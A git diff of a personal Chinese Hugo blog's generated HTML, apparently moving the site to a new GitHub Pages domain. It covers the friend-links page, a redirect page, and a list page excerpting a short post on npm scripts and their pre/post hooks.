content="链接"><meta name=twitter:description content="保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"链接","item":"https://xiaochenabc123.github.io/links/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"链接","name":"链接","description":"保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记","keywords":[],"articleBody":"保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记\n","wordCount":"21","inLanguage":"en","datePublished":"2022-04-19T21:11:29+08:00","dateModified":"2022-04-19T21:11:29+08:00","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/links/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span class=active>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1 class=post-title>链接</h1><div class=post-meta><span title='2022-04-19 21:11:29 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//links.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p><a href=https://paugram.com/>保罗的小宇宙</a> <a href=https://linxuan.fun>临轩</a> <a href=https://yujienb.cn/>狱杰的屋敷</a> <a href=https://www.kiwiape.cn/>猕猴の那年记忆</a> <a href=https://ghser.com>一叶三秋</a> <a href=https://www.acg19.top>新漫猫</a> <a href=https://www.timochan.cn>提莫酱的博客</a> <a href=https://zshmvp.com>zshMVP</a> <a href=https://www.abcio.cn/>清墨的橘</a> <a href=https://www.lx-blog.cn>流星Aday的博客</a> <a href=https://hq233.cn/>隔壁小胡的博客</a> <a href=https://www.citrons.cn/>Citrons博客</a> <a href=https://www.rz.sb>若志随笔</a> <a href=https://www.m78.co/>星云馆</a> <a href=https://jsun969.cn>螓首蛾眉</a> <a href=https://flypig.xyz>阅读・阅己</a> <a href=https://blog.beixibaobao.com>北熙宝宝</a> <a href=https://keymoe.com/>Sanakeyの小站</a> <a href=https://blog.meta-code.top/>百里飞洋の博客</a> <a href=https://dyfa.top>itsNekoDeng</a> <a href=https://www.miaoer.xyz/>喵二の小博客</a><a href=https://intelyes.club/>日语笔记</a></p></div><footer class=post-footer><ul class=post-tags></ul></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>链接 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/links/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="链接"><meta property="og:description" content="保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/links/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content><meta property="article:published_time" content="2022-04-19T21:11:29+08:00"><meta property="article:modified_time" content="2022-04-19T21:11:29+08:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="链接"><meta name=twitter:description content="保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"链接","item":"https://chenjunlinabc.github.io/links/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"链接","name":"链接","description":"保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记","keywords":[],"articleBody":"保罗的小宇宙 临轩 狱杰的屋敷 猕猴の那年记忆 一叶三秋 新漫猫 提莫酱的博客 zshMVP 清墨的橘 流星Aday的博客 隔壁小胡的博客 Citrons博客 若志随笔 星云馆 螓首蛾眉 阅读・阅己 北熙宝宝 Sanakeyの小站 百里飞洋の博客 itsNekoDeng 喵二の小博客日语笔记\n","wordCount":"21","inLanguage":"en","datePublished":"2022-04-19T21:11:29+08:00","dateModified":"2022-04-19T21:11:29+08:00","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/links/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span class=active>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1 class=post-title>链接</h1><div class=post-meta><span title='2022-04-19 21:11:29 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//links.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p><a href=https://paugram.com/>保罗的小宇宙</a> <a href=https://linxuan.fun>临轩</a> <a href=https://yujienb.cn/>狱杰的屋敷</a> <a href=https://www.kiwiape.cn/>猕猴の那年记忆</a> <a href=https://ghser.com>一叶三秋</a> <a href=https://www.acg19.top>新漫猫</a> <a href=https://www.timochan.cn>提莫酱的博客</a> <a href=https://zshmvp.com>zshMVP</a> <a href=https://www.abcio.cn/>清墨的橘</a> <a href=https://www.lx-blog.cn>流星Aday的博客</a> <a href=https://hq233.cn/>隔壁小胡的博客</a> <a href=https://www.citrons.cn/>Citrons博客</a> <a href=https://www.rz.sb>若志随笔</a> <a href=https://www.m78.co/>星云馆</a> <a href=https://jsun969.cn>螓首蛾眉</a> <a href=https://flypig.xyz>阅读・阅己</a> <a href=https://blog.beixibaobao.com>北熙宝宝</a> <a href=https://keymoe.com/>Sanakeyの小站</a> <a href=https://blog.meta-code.top/>百里飞洋の博客</a> <a href=https://dyfa.top>itsNekoDeng</a> <a href=https://www.miaoer.xyz/>喵二の小博客</a><a href=https://intelyes.club/>日语笔记</a></p></div><footer class=post-footer><ul class=post-tags></ul></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/page/1/index.html b/page/1/index.html
index 44616e5c..c92e6436 100644
--- a/page/1/index.html
+++ b/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/</title><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/</title><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/"></head></html>
\ No newline at end of file
diff --git a/page/10/index.html b/page/10/index.html
index 26caf82c..d201f069 100644
--- a/page/10/index.html
+++ b/page/10/index.html
@@ -1,36 +1,20 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单了解并且使用npm script</h2></header><div class=entry-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
-"scripts": {
-"dev": "node hallo.js"
-}
-npm run dev // 等于执行node hallo.js
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单了解并且使用npm script</h2></header><div class=entry-content><p>npm script是package.json中可以定义的脚本命令，可以用来实现自动化构建，例如：
+"scripts": { "dev": "node hallo.js" } npm run dev // 等于执行node hallo.js
 查看当前项目的全部npm脚本
 npm run
 注意：当前项目的node_modules/bin下的全部依赖都可以直接访问
 如果要执行多个脚本可以用&&（依次运行），&（并行运行）
 npm script有pre和post两个钩子，这两个钩子可以分别来做准备工作和清理工作等等，例如：
-"scripts": {
-"predev": "echo hallo",
-"dev": "node hallo.js",
-"postdev": "echo yes"
-}
-相对于npm run predev && npm run dev && npm run postdev
